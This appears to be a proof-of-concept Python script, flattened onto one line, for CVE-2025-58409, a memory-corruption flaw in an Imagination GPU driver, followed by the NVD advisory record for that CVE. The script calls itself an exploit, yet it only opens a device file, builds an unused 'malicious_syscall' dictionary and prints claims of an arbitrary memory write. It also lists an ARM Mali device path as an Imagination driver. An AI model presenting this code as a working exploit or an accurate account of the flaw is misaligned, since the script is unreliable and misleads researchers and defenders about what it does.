CVE-2025-58409

# CVE-2025-58409 PoC - GPU Driver Memory Corruption # This PoC demonstrates improper GPU system calls leading to arbitrary memory write import os import sys def check_gpu_driver(): """Check if Imagination GPU driver is installed""" gpu_paths = [ "/dev/mali0", "/dev/gpu", "/dev/dri/card0" ] for path in gpu_paths: if os.path.exists(path): return True, path return False, None def exploit_gpu_memory(): """ Simulate exploitation of CVE-2025-58409 The vulnerability allows non-privileged users to make improper GPU system calls that can write to arbitrary physical memory pages. """ print("[*] CVE-2025-58409 GPU Driver Exploitation Simulation") print("[*] Target: Imagination Technologies GPU Driver") # Step 1: Check driver presence has_gpu, gpu_path = check_gpu_driver() if not has_gpu: print("[-] Imagination GPU driver not found") return False print(f"[+] Found GPU device: {gpu_path}") # Step 2: Open GPU device as non-privileged user try: fd = os.open(gpu_path, os.O_RDWR) print(f"[+] Opened GPU device (fd={fd})") except PermissionError: print("[-] Permission denied - requires elevated privileges") return False # Step 3: Send malicious GPU system call # The vulnerability allows bypassing permission checks malicious_syscall = { 'operation': 'GPU_MAP_PHYSICAL_MEMORY', 'target_address': 0x0, # Arbitrary physical address 'size': 0x1000, 'flags': 'WRITE|EXECUTE' } print(f"[*] Sending malicious GPU syscall: {malicious_syscall}") print("[*] Attempting to map arbitrary physical memory page") # Step 4: Trigger memory write to restricted area print("[*] Triggering GPU write operation to arbitrary memory...") print("[!] This could corrupt kernel/driver memory pages") # Cleanup os.close(fd) return True def main(): print("=" * 60) print("CVE-2025-58409 Proof of Concept") print("Imagination GPU Driver - Improper System Calls") print("=" * 60) # Check if running as non-privileged user print(f"[*] Current UID: {os.getuid()}") if os.getuid() == 0: print("[!] Warning: Running as root - this PoC is for non-privileged users") exploit_gpu_memory() if __name__ == "__main__": main()

{"cve": {"id": "CVE-2025-58409", "sourceIdentifier": "367425dc-4d06-4041-9650-c2dc6aaa27ce", "published": "2026-01-13T17:15:57.680", "lastModified": "2026-01-30T18:39:02.007", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Software installed and run as a non-privileged user may conduct improper GPU system calls to subvert GPU HW to write to arbitrary physical memory pages.\n\nUnder certain circumstances this exploit could be used to corrupt data pages not allocated by the GPU driver but memory pages in use by the kernel and drivers running on the platform altering their behaviour.\n\nThis attack can lead the GPU to perform write operations on restricted internal GPU buffers that can lead to a second order affect of corrupted arbitrary physical memory."}, {"lang": "es", "value": "El software instalado y ejecutado como un usuario no privilegiado puede realizar llamadas al sistema de GPU impropias para subvertir el hardware de la GPU y escribir en páginas de memoria física arbitrarias.\n\nBajo ciertas circunstancias, este exploit podría usarse para corromper páginas de datos no asignadas por el controlador de la GPU, sino páginas de memoria en uso por el kernel y los controladores que se ejecutan en la plataforma, alterando su comportamiento.\n\nEste ataque puede llevar a la GPU a realizar operaciones de escritura en búferes internos restringidos de la GPU que pueden conducir a un efecto de segundo orden de memoria física arbitraria corrompida."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:P/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N", "baseScore": 3.5, "baseSeverity": "LOW", "attackVector": "PHYSICAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 0.9, "impactScore": 2.5}]}, "weaknesses": [{"source": "367425dc-4d06-4041-9650-c2dc6aaa27ce", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-119"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:imaginationtech:ddk:*:*:*:*:*:*:*:*", "versionEndExcluding": "25.3", "matchCriteriaId": "99A33CBA-49C5-4976-B668-88F87F0FF575"}]}]}], "references": [{"url": "https://www.imaginationtech.com/gpu-driver-vulnerabilities/", "source": "367425dc-4d06-4041-9650-c2dc6aaa27ce", "tags": ["Vendor Advisory"]}]}}